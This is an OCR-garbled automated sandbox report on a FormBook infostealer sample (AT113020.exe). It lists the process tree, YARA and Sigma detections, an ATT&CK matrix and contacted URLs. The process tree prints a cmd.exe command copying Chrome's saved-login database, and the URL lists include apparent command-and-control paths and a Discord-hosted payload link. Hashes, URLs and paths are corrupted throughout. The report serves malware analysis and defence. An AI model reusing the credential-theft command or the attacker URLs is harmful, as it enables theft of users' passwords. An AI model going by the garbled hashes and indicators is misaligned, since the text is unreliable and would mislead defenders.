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Analysis Report AT113020.exe

Overview

General Information

Sample AT113020.exe
Name:

Analysis ID: 326334

MDS: 8477c9b80b4b77..
SHAL: edflc7daed8b592.
SHAZ256: 772dec92f8ads4f..

Most interesting Screenshot:

Startup

= System is w10x64

P

Detection

Score:

Range:

Whitelisted:

Confidence:

MALICIOUS

100

0-100
false

100%

Classification

Malicious sample detected (through ...

Multi AV Scanner detection
Multi AV Scanner detection
Sigma detected: Steal Google chrom...
System process connects to networ...
Yara detected FormBook

Allocates memory. in foreign process...
Creates autostart registry keys with ...

Creates multiple autestart registry ke...

for dropp...

for subm...

Injects a PE file into a foreign proce...

Maps a DLL or memory area into an...

Modifies the context of a thread in a...

w
«Q
>
2
(=
=
®
(7]

e "X AT113020.exe (PID: 5920 cmdline: 'C:\Users\user\Desktop\AT113020.exe' MD5: 8477C9B80B4B7796F904EC72ABE8SFF71)
. @ ieinstal.exe (PID: 4724 cmdline: C:\Program Files (x86)\internet explorenieinstal.exe MD5: DAD17AB737E680C47C8A44CBB95EEG7E)
o W explorer.exe (PID: 3472 cmdline: MD5: AD5296B280E8F522A8A897C96BABOE1D)

P

e "x.  Accfdrv.exe (PID: 5916 cmdline: 'C:\Users\user\AppData\Local\Microsoft\Windows\Accfdrv.exe' MD5: 8477C9B80B4B7796F904EC72ABESFF71)

. @ ieinstal.exe (PID: 5888 cmdline: C:\Program Files (x86)\internet explorenieinstal.exe MD5: DAD17AB737E680C47C8A44CBB95EEG7E)

. @ msdt.exe (PID: 5784 cmdline: C:\Windows\SysWOW64\msdt.exe MD5: 7FOC51DBA69BIDESDDF6AA04CE3A69F4)
. cmd.exe (PID: 6292 cmdline: /c copy 'C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data' 'C:\Users\user\AppData\Loca\Temp\DB1' /VV
MD5: F3BDBE3BB6F734E357235F4D5898582D)

H
A

conhost.exe (PID: 6272 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
| wlanext.exe (PID: 5872 cmdline: C:\Windows\SysWOWe64\wlanext.exe MD5: CD1ED9A48316D58513D8ECB2D55B5C04)
Accfdrv.exe (PID: 5488 cmdline: 'C:\Users\user\AppData\Local\Microsoft\Windows\Accfdrv.exe' MD5: 8477C9B80B4B7796F904EC72ABE8SFF71)

. @ ieinstal.exe (PID: 6284 cmdline: C:\Program Files (x86)\internet explorenieinstal.exe MD5: DAD17AB737E680C47C8A44CBB95EEG7E)
. @ ieinstal.exe (PID: 6548 cmdline: 'C:\Program Files (x86)\internet explorenieinstal.exe’ MD5: DAD17AB737E680C47C8A44CBB95EEG7E)
. @ ieinstal.exe (PID: 6688 cmdline: 'C:\Program Files (x86)\internet explorenieinstal.exe’ MD5: DAD17AB737E680C47C8A44CBB95EEG7E)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source

C:\Users\user\AppData\Local\fccA.url

C:\Users\user\AppData\Local\fccA.url

Copyright null 2020

Rule

Description

Methodology_Shortcut_Hot Detects possible

Key

shortcut usage for
.URL persistence

Methodology_Contains_Sh Detects possible

ortcut_OtherURIhandlers

shortcut usage for
.URL persistence

Author

@itsreallynick
(Nick Carr)

@itsreallynick
(Nick Carr)

Strings

3

3

0x9c:$hotkey: \xOAHotKey=1
0x0:$url_explicit: [InternetShortcut]

0x14:$file: URL=
0x0:$url_explicit: [InternetShortcut]
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Source Rule

C:\Users\user\AppData\Local\fccA.url

OrDLLOrICO

Memory Dumps

Source Rule

00000008.00000002.1019192293.00000000041E0000.0000 JoeSecurity_FormBook
0004.00000001.sdmp

00000008.00000002.1019192293.00000000041E0000.0000 Formbook_1
0004.00000001.sdmp

00000008.00000002.1019192293.00000000041E0000.0000 Formbook
0004.00000001.sdmp

0000000C.00000002.291702047.0000000004D3
4000.00000004.00000001.sdmp

JoeSecurity_FormBook

Click to see the 58 entries

0000000C.00000002.291702047.0000000004D3 Formbook_1
4000.00000004.00000001.sdmp

Unpacked PEs

Source Rule

1.2.AT113020.exe.2ad0000.5.unpack JoeSecurity_FormBook

1.2.AT113020.exe.2ad0000.5.unpack Formbook_1

Copyright null 2020

Methodology_Suspicious_
Shortcut_lconNotFromExe shortcut usage for

Description

Detects possible

.URL persistence

Description

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

detect Formbook in
memory

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

Description

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

Author

@itsreallynick
(Nick Carr)

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Strings

e 0x71:$icon: IconFile=
e 0x0:$url_explicit: [InternetShortcut]

Strings

* 0x83d8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e 0x8772:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14085:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x13b71:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14187:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x142ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x917a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

Ox12dec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9ef2:$sequence_7: 66 89 OC 02 5B 8B E5 5D
0x19167:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlalda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

°

o o o o

e o o o

0x16089:$sqlite3step: 68 34 1C 7B E1
0x1619c:$sqlite3step: 68 34 1C 7B E1
0x160b8:$sqlite3text: 68 38 2A 90 C5
0x161dd:$sqlite3text: 68 38 2A 90 C5
0x160ch:$sqlite3blob: 68 53 D8 7F 8C
0x161f3:$sqlite3blob: 68 53 D8 7F 8C

® o o o o o

* 0x8c50:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
* Ox8fea:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e 0x31d80:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e 0x321la:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e 0x148fd:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x3da2d:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x143e9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x3d519:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x149ff:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x3db2f:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x14b77:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x3dca7:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x99f2:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x32b22:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 0
283 E30FC1EAO06

0x13664:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x3c794:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxa76a:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x3389a:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x199df:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x42b0f:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlaa52:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

3 ® o o o o o o °

e © o o o o o

Strings

e 0x75d8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e 0x7972:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x13285:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x12d71:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x13387:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x134ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x837a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

Ox11fec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x90f2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18367:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x193da:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

3

e o o o

e o o o
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Source Rule Description Author Strings

0x15289:$sqlite3step: 68 34 1C 7B E1
0x1539c:$sqlite3step: 68 34 1C 7B E1
0x152b8:$sqlite3text: 68 38 2A 90 C5
0x153dd:$sqlite3text: 68 38 2A 90 C5
0x152ch:$sqlite3blob: 68 53 D8 7F 8C
0x153f3:$sqlite3blob: 68 53 D8 7F 8C

1.2.AT113020.exe.2ad0000.5.unpack Formbook detect Formbook in JPCERT/CC
memory Incident Response
Group

e o o o o o

5.2.Accfdrv.exe.2af0000.5.unpack JoeSecurity_FormBook  Yara detected Joe Security
FormBook

5.2.Accfdrv.exe.2af0000.5.unpack Formbook_1 autogenerated rule Felix Bilstein - e 0x75d8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
brought to you by  yara-signator at e 0x7972:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot 0x13285:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494
0x12d71:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x13387:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x134ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x837a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06
Ox11fec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x90f2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18367:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x193da:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

3

e o o o

e o o o

Click to see the 31 entries

Sigma Overview

System Summary: -i.

Sigma detected: Steal Google chrome login data

Signature Overview

@ AV Detection

@ Spreading

@ Software Vulnerabilities

@ Networking

@ Key, Mouse, Clipboard, Microphone and Screen Capturing
@ E-Banking Fraud

® System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

@ Boot Survival

@ Hooking and other Techniques for Hiding and Protection
® Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Stealing of Sensitive Information

® Remote Access Functionality

AV Detection:

Click to jump to signature section

Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file

Yara detected FormBook

E-Banking Fraud:

Yara detected FormBook
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System Summary:

‘]

Malicious sample detected (through community Yara rule)

=

Boot Survival:

= “

Malware Analysis System Evasion:

]

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

a2

Stealing of Sensitive Information:

Yara detected FormBook

a2

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Netwc
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effect
Valid Native Application  Application Deobfuscate/Decode OS Credential System Time Remote Archive Exfiltration  Ingress Tool Eaves
Accounts API Shimming §§ Shimming Files or Information §§ Dumping Discovery Services Collected Over Other Transfer Insect
Data Network Netwo
Medium Comm
Default Shared Registry Run Process Obfuscated Files or  Input System Network Remote Data from Exfiltration Encrypted Exploi
Accounts Modules §§ Keys / Injection a Information Capture Connections Desktop Local Over Channel Redire
Startup Discovery Protocol System Bluetooth Calls/¢
Folder
Domain At (Linux)  Logon Script Registry Run Software Packing Security File and Directory SMB/Windows Screen Automated Non- Exploi
Accounts (Windows)  Keys / Startup Account Discovery Admin Shares Capture Exfiltration Application Track
Folder Manager Layer Locati
Protocol
Local At Logon Script Logon Script Masquerading NTDS System Information Distributed Email Scheduled Application SIMC
Accounts (Windows) (Mac) (Mac) Discovery Component  Collection Transfer Layer Swap
Object Model Protocol
Cloud Cron Network Network Logon  Virtualization/Sandbox LSA Secrets  Security Software SSH Input Data Fallback Manip
Accounts Logon Script  Script Evasion Discovery Capture Transfer ~ Channels Device
Size Limits Comm
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Initial

Access Execution Persistence
Replication Launchd Rc.common
Through

Removable

Media

External Scheduled  Startup
Remote Task Items
Services

Drive-by Command Scheduled

Compromise and Task/Job
Scripting
Interpreter
Exploit PowerShell At (Linux)
Public-
Facing
Application

Behavior Graph

Screenshots

Thumbnails

Privilege
Escalation

Rc.common

Startup ltems

Scheduled
Task/Job

At (Linux)

£

H
um
]

Credential Lateral

Defense Evasion Access Discovery Movement Collection Exfiltration
Process Cached Virtualization/Sandbox VNC Clipboard Exfiltration
Injection a Domain Evasion Data Over C2
Credentials Channel
Compile After DCSync Process Discovery Windows Web Portal Exfiltration
Delivery Remote Capture Over
Management Alternative
Protocol
Indicator Removal Proc Application Window  Shared Credential Exfiltration
from Tools Filesystem Discovery Webroot API Hooking  Over
Symmetric
Encrypted
Non-C2
Protocol
Masquerading letc/passwd  Remote System Software Data Staged  Exfiltration
and Discovery Deployment Over
letc/shadow Tools Asymmetric
Encrypted
Non-C2
Protocol

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped

@+ EBO0C]

[ TT]
*
*n

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java

Is malicious

Internet

L@ 2 )

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Copyright null 2020

Command Netwc
and Control Effect

Multiband Jamm
Communication Denial

Servic
Commonly Rogue
Used Port Acces
Application Downg
Layer Protocol Insect

Protoc

Web Protocols Rogue
Base ¢

Hide Legend

Is Windows Process
Number of created Registry Values

Number of created Files

.Net C# or VB.NET

C, C++ or other language

e
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No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version

No bigger version No bigger version No bigger version No bigger version No bigger version

v R B A

Recycle Bin LIJDSFKJZG EOWRVP.. ZGGKNSU

- B B @8

Acrobat GIGIYTFFYT ZIPXYXWIOY
Reader DC

ue l © u)( H

Microsoft  PALRGUC  GIGIYTFFYT Brcel 2016
Edge

o 1 B W

Goegle  QCOILOQIKC Word 2016
Chrome

;j
AT113020  SQSIKEBWDT

SQSJKEBWDT TQDFJHPUIU  JDDHMPC

2 @ 3

EEGWXUH BJZFPPWAPT NVWZAP...

na A

DUUDTUB EFOYFBOLXA MNVWZAP...

B 0Aa

EFOYFBOLXA EFOVFBOLXA PALRGUC

-

GLTYDMD  EIVOSAQTAQ PALRGUC

10:08 AM E
12/3/2020 1

£ ~AE

Antivirus, Machine Learning and Genetic Malware Detection

Copyright null 2020 Page 10 of 97




Initial Sample

Source Detection Scanner Label Link

Dropped Files

Source Detection Scanner Label Link

Unpacked PE Files

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
hitp://i2.cdn-image.com/__media__/fonts/open-sans-bold/open-sans-bold.woff 0% Avira URL Cloud safe
hitp://i2.cdn-image.com/__media__/fonts/open-sans/open-sans.svg#open-sans 0% Avira URL Cloud safe
hitp://i2.cdn-image.com/__media__/pics/27587/Right.png) 0% Avira URL Cloud safe
hitp://www.rodgroup.net/Free_Credit_Report.cfm? 0% Avira URL Cloud safe

fp=5zm8GCCUOjG%2F%2BtWNbnlaevq%2F7pyqlewWINVaXbdLPLIN

hitp:/f\www.renabbeauty.com/9t6k/? 0% Avira URL Cloud safe
URflh=73SmHps+05HxyxR+SIs8P85g8AMVj2xb8ZN5KGQQxUczRwjFANVVIBFIZWAGNK7+ujwzZ&UfrDa
1=0nMpgJVP5t_PDD5p

hitp:/f\www.rodgroup.net/fashion_trends.cfm? 0% Avira URL Cloud safe
fp=5zm8GCCUQjG%2F%2BtWNbnlaevq%2F7pyqlewWINVaXbdLPLIN2DV6

hitp:/f\www.rodgroup.net/sk-logabpstatus.php? 0% Avira URL Cloud safe
a=azNKanZNUOUxaU9PS20reG5I0FBSSDFoK05hNy95bzJITFdxcjJuSm

hitp://i2.cdn-image.com/__media__/pics/468/netsol-favicon-2020.jpg 0% Avira URL Cloud safe
hitp://https://discord.com/ 0% URL Reputation safe
hitp://https://discord.com/ 0% URL Reputation safe
hitp://https://discord.com/ 0% URL Reputation safe
hitp://crl.comodoca7 0% Avira URL Cloud safe
hitp://iwww.sajatypeworks.com 0% URL Reputation safe
hitp://iwww.sajatypeworks.com 0% URL Reputation safe
hitp://iwww.sajatypeworks.com 0% URL Reputation safe
hitp://www.founder.com.cn/cn/cThe 0% URL Reputation safe
hitp://www.founder.com.cn/cn/cThe 0% URL Reputation safe
hitp://www.founder.com.cn/cn/cThe 0% URL Reputation safe
hitp://i2.cdn-image.com/__media__/fonts/open-sans-bold/open-sans-bold.woff2 0% Avira URL Cloud safe
hitp://www.ahomedokita.com/9t6k/ 0% Avira URL Cloud safe
hitp://i2.cdn-image.com/__media__/fonts/open-sans-bold/open-sans-bold.eot 0% Avira URL Cloud safe
hitp://www.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp://\www.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp://\www.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp://i2.cdn-image.com/__media__/fonts/open-sans-bold/open-sans-bold.otf 0% Avira URL Cloud safe
hitp:/f/www.urwpp.deDPlease 0% URL Reputation safe
hitp:/f/www.urwpp.deDPlease 0% URL Reputation safe
hitp:/f/www.urwpp.deDPlease 0% URL Reputation safe
hitp://www.rodgroup.net/__media__/design/underconstructionnotice.php?d=rodgroup.net 0% Avira URL Cloud safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
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Source Detection Scanner Label Link
hitp:/f\www.sportsbookmatcher.com/9t6k/ 0% Avira URL Cloud safe

hitp:/fiwww.buttsliders.com/9t6k/? 0% Avira URL Cloud safe
URflh=tVqqgbIXu9nslI248AUXCUxr000zC9i0c8STc7UOUyN+2mFy87kkATVINWFSSPJTjqgHk&UfrDal=0
nMpqJVP5t_PDD5p

hitp://www.theyolokart.com/9t6k/? 0% Avira URL Cloud safe
URflh=wzqvVRf3v7wWdKVsEzaCYIluZDwjvGR+wpj+mtlyOIJMnJIEVZY6i5f9AVoqOYOhCkuGFts&UfrDal=
OnMpqJVP5t_PDD5p

hitp://i2.cdn-image.com/__media__/fonts/open-sans/open-sans.woff 0% Avira URL Cloud safe
hitp://iwww.renabbeauty.com/9t6k/ 0% Avira URL Cloud safe
hitp://i2.cdn-image.com/__media__/pics/27587/Left.png) 0% Avira URL Cloud safe
hitp://i2.cdn-image.com/__media__/pics/27587/BG_2.png) 0% Avira URL Cloud safe
hitp:/focsp.comodoca4.com0 0% URL Reputation safe
hitp:/focsp.comodoca4.com0 0% URL Reputation safe
hitp:/focsp.comodoca4.com0 0% URL Reputation safe
hitp://www.makingdoathome.com/9t6k/? 0% Avira URL Cloud safe

URflh=DaVCjFuxi8IQOKSmMZmVVzdfbFs8HKa1S3sC5D9GQ7HSGSXmO4QACKkgMj7QCmBzxIGCkN&UF
rDal=0nMpqJVP5t_PDD5p

hitp:/f\www.rodgroup.net/9t6k/?URflh= 0% Avira URL Cloud safe

hitp://iwww.dainikamarsomoy.com/9t6k/? 0% Avira URL Cloud safe
URflh=W7vyYWXucRnMwWrTc6z6xJ7lylAaea5WWr62fhSAhoSHINEqGWpe7zCBUOdcNM6Zeho8&Ufr
Dal=0nMpqJVP5t_PDD5p

hitp://i2.cdn-image.com/__media__/fonts/open-sans/open-sans.woff2 0% Avira URL Cloud safe
hitp://www.carterandcone.coml 0% URL Reputation safe
hitp://www.carterandcone.coml 0% URL Reputation safe
hitp://www.carterandcone.coml 0% URL Reputation safe
hitp:/fiwww.higherthan75.com/9t6k/? 0% Avira URL Cloud safe

URflh=WRaEwe7grAm8RcFyQBNRvy9NVNi7wOvDLX3hizJdol6io43A30Idw5NSblbyY8qTgmle&UfrDal=
OnMpqJVP5t_PDD5p

hitp://www.ahomedokita.com/9t6k/? 0% Avira URL Cloud safe
URflh=5YbgiWwOMvK10e+D+Ti4oKvmTwuSwaKBdeKNLrkVAsSRRVF5LwbTMOesGYedm1bG3cJWla&Ufr
Dal=0nMpqJVP5t_PDD5p

hitp://i2.cdn-image.com/__media__/pics/27586/searchbtn.png) 0% Avira URL Cloud safe

hitp://iwww.cia3mega.info/9t6k/? 0% Avira URL Cloud safe
URflh=8pTOOCjpukmgT2/VEONoh7Jhw41r4itl2gwuQkgKFiQj+4gEMjoX0rzJINNSQA5Q10cRE&UfrDal=0
nMpqJVP5t_PDD5p

hitp:/fiwww.pocketspacer.com/9t6k/ 0% Avira URL Cloud safe
hitp://i2.cdn-image.com/__media__/fonts/open-sans-bold/open-sans-bold.eot?#iefix 0% Avira URL Cloud safe
hitp://www.rodgroup.net/display.cfm 0% Avira URL Cloud safe
hitp://https://discord.com/S 0% Avira URL Cloud safe
hitp://www.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp://www.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp://www.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp://i2.cdn-image.com/__media__/fonts/open-sans-bold/open-sans-bold.svg#open-sans-bold 0% Avira URL Cloud safe
hitp:/fiwww.thanksforlove.com/9t6k/? 0% Avira URL Cloud safe

URflh=kTde6z/9FBgibCJIh75hFV8EYWatL10Q/rhfr5o0U2UZBR6XWcBOIN723UV5Uezh3ZQ4o0t&UfrDal=0
nMpqJVP5t_PDD5p

hitp://crl.comodoca_nu 0% Avira URL Cloud safe

hitp://www.rodgroup.net/All_Inclusive_Vacation_Packages.cfm? 0% Avira URL Cloud safe
fp=5zm8GCCUOjG%2F%2BtWNbnlaevq%2F7pyqlew

hitp:/fiwww.dainikamarsomoy.com/9t6k/ 0% Avira URL Cloud safe
hitp:/fwww.tiro.com 0% URL Reputation safe
hitp:/fwww.tiro.com 0% URL Reputation safe
hitp:/fwww.tiro.com 0% URL Reputation safe
hitp://www.makingdoathome.com/9t6k/ 0% Avira URL Cloud safe
hitp://iwww.goodfont.co.kr 0% URL Reputation safe
hitp://iwww.goodfont.co.kr 0% URL Reputation safe
hitp://iwww.goodfont.co.kr 0% URL Reputation safe
hitp:/fiwww.typography.netD 0% URL Reputation safe
hitp:/fiwww.typography.netD 0% URL Reputation safe
hitp:/fiwww.typography.netD 0% URL Reputation safe
hitp://www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe
hitp://www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe
hitp://www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe
hitp://fontfabrik.com 0% URL Reputation safe
hitp://fontfabrik.com 0% URL Reputation safe
hitp://fontfabrik.com 0% URL Reputation safe
hitp://www.rodgroup.net/Credit_Card_Application.cfm? 0% Avira URL Cloud safe

fp=5zm8GCCUOjG%2F%2BtWNbnlaevq%2F7pyqlewWINVaXbd
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Source Detection Scanner Label Link

hitp://www.kingdomwinecommunity.com/9t6k/? 0% Avira URL Cloud safe
URfln=AqHI0+MX2ftrVe3DEiYBNVYhM67Z+qKer8sV+OvuybcJEOEIXTUx/0N346XCugNKhu9g&UfrDal=
0nMpqgJVP5t_PDD5p

hitp://i2.cdn-image.com/__media__/fonts/open-sans/open-sans.ttf 0% Avira URL Cloud safe

hitp://www.rodgroup.net/9ték/? 0% Avira URL Cloud safe
URflh=+VDOV2YqGr3HQyUjxvrdySDa222PNTvrG/MhsshnzvBOEZIKybOIzjmZT3lubthnocji&UfrDal=0nM
pgJVP5t_PDD5p

hitp://www.sandoll.co.kr 0% URL Reputation safe
hitp://www.sandoll.co.kr 0% URL Reputation safe
hitp://www.sandoll.co.kr 0% URL Reputation safe
hitp://i2.cdn-image.com/__media__/fonts/open-sans/open-sans.eot?#iefix 0% Avira URL Cloud safe
hitp://www.rodgroup.net/Online_classifieds.cfm? 0% Avira URL Cloud safe
fp=5zm8GCCUOjG%2F%2BtWNbnlaevq%2F7pyqlewWINVaxbdLPLIN

hitp://www.sakkal.com 0% URL Reputation safe
hitp://www.sakkal.com 0% URL Reputation safe
hitp://www.sakkal.com 0% URL Reputation safe
hitp://www.outtheframecustoms.com/9t6k/? 0% Avira URL Cloud safe

URfIh=b8EUNPE+0Yf5M4MWpXscm/Bt3xsjLt8hNenJJ3DjxXNjYfRDWCOpztruTX9IDI5bQG11&UfrDal=0n
MpgJVP5t_PDD5p

hitp://www.rodgroup.net/__media__/js/trademark.php?d=rodgroup.net&type=ns 0% Avira URL Cloud safe
hitp://www.outtheframecustoms.com/9t6k/ 0% Avira URL Cloud safe
hitp://https://sectigo.com/CPS0O 0% URL Reputation safe
hitp://https://sectigo.com/CPS0O 0% URL Reputation safe
hitp://https://sectigo.com/CPS0O 0% URL Reputation safe
hitp://www.rodgroup.net/px.js?ch=2 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
discord.com 162.159.136.232 true false unknown
parkingpage.namecheap.com 198.54.117.210 true false high
cdn.discordapp.com 162.159.134.233 true false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

[ e e S e ECCR R

hit
N N T
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Name

-

-

-

Malicious

E

URLs from Memory and Binaries

Name

hitp://i2.cdn-image.com/__media__/fonts/open-sans-
bold/open-sans-bold.woff

hitp://i2.cdn-image.com/__media__/fonts/open-sans/open-
sans.svg#open-sans

hitp://i2.cdn-image.com/__media__/pics/27587/Right.png)

hitp://www.rodgroup.net/Free_Credit_Report.cfm?
fp=5zm8GCCUQjG%2F%2BtWNbnlaevq%2F7pyglewWINVa
XbdLPLIN

http://
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=
chrom322;cat=chrom01g;0rd=58648497779

hitp://www.rodgroup.net/fashion_trends.cfm?
fp=5zm8GCCUQjG%2F%2BtWNbnlaevq%2F7pyqlewWINVa
XbdLPLIN2DV6

hitp://www.rodgroup.net/sk-logabpstatus.php?
a=azNKanZNUOUxaU9PS20reG5I0FBSSDFoK05hNy95bzJIT
FdxcjJuSm

hitp:#/
https://cdn.discordapp.com/attachments/77756944315619739
9/782882049986920478/Accfcxz&

hitp://i2.cdn-image.com/__media__/pics/468/netsol-favicon-
2020.jpg

Copyright null 2020

Source

msdt.exe, 00000008.00000002.10
22071280.0000000004ECD000.0000
0004.00000001.sdmp

msdt.exe, 00000008.00000002.10
22071280.0000000004ECD000.0000
0004.00000001.sdmp

msdt.exe, 00000008.00000002.10
22071280.0000000004ECD000.0000
0004.00000001.sdmp

msdt.exe, 00000008.00000002.10
22071280.0000000004ECD000.0000
0004.00000001.sdmp

msdt.exe, 00000008.00000002.10
16860438.0000000000767000.0000
0004.00000020.sdmp

msdt.exe, 00000008.00000002.10
22071280.0000000004ECD000.0000
0004.00000001.sdmp

msdt.exe, 00000008.00000002.10
22071280.0000000004ECD000.0000
0004.00000001.sdmp

AT113020.exe, 00000001.0000000
3.237560785.00000000007CF000.0
0000004.00000001.sdmp

msdt.exe, 00000008.00000002.10
22071280.0000000004ECD000.0000
0004.00000001.sdmp

Antivirus Detection

Malicious Antivirus Detection

false

false

false

false

false

false

false

e Avira URL Cloud:

e Avira URL Cloud:

e Avira URL Cloud

e Avira URL Cloud:

e Avira URL Cloud:

e Avira URL Cloud:

e Avira URL Cloud:

safe

safe

: safe

safe

safe

safe

safe

Reputation

Reputation

unknown

unknown

unknown

unknown

high

unknown

unknown

high

unknown
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Name

hitp://https://discord.com/

hitp://www.fontbureau.com/designers

hitp:/fwww.msn.com/ocid=iehp

hitp://crl.comodoca7

hitp://iwww.sajatypeworks.com

hitp://www.founder.com.cn/cn/cThe

hitp://www.msn.com/?ocid=iehp1M

hitp://i2.cdn-image.com/__media__/fonts/open-sans-

bold/open-sans-bold.woff2

http:/f

https://2542116.fls.doubleclick.net/activityi;src=2542116;type=
clien612;cat=chromx;ord=1;num=3931852

hitp://https://cdn.discordapp.com/K

hitp://https://cdn.discordapp.com/R

http:/f

https://login.microsoftonline.com/common/oauth2/authorizeclie
nt_id=9ealad79-fdb6-4f9a-8bc3-2b70f96e3

hitp://i2.cdn-image.com/__media__/fonts/open-sans-

bold/open-sans-bold.eot

hitp://www.msn.com/?ocid=iehp

hitp://\www.galapagosdesign.com/DPlease

hitp://i2.cdn-image.com/__media__/fonts/open-sans-

bold/open-sans-bold.otf

hitp:/f/www.urwpp.deDPlease

hitp://www.msn.com/de-ch/ocid=iehpTP(_t

http:/f

www.rodgroup.net/__media__/design/underconstructionnotice.

php?d=rodgroup.net

hitp://www.zhongyicts.com.cn

hitp://https://cdn.discordapp.com/?

hitp://i2.cdn-image.com/__media__/fonts/open-sans/open-

sans.woff

hitp://i2.cdn-image.com/__media__/pics/27587/Left.png)

hitp://i2.cdn-image.com/__media__/pics/27587/BG_2.png)

Copyright null 2020

Source

AT113020.exe, Accfdrv.exe, Acc
fdrv.exe, 0000000C.00000002.29
0227188.0000000004240000.00000
004.00000001.sdmp

explorer.exe, 00000003.0000000
0.258961940.000000000BC36000.0
0000002.00000001.sdmp

msdt.exe, 00000008.00000002.10
16843957.0000000000763000.0000
0004.00000020.sdmp

Accfdrv.exe, 00000005.00000003
.272990264.0000000000897000.00
000004.00000001.sdmp

explorer.exe, 00000003.0000000
0.258961940.000000000BC36000.0
0000002.00000001.sdmp

explorer.exe, 00000003.0000000
0.258961940.000000000BC36000.0
0000002.00000001.sdmp

msdt.exe, 00000008.00000002.10
16860438.0000000000767000.0000
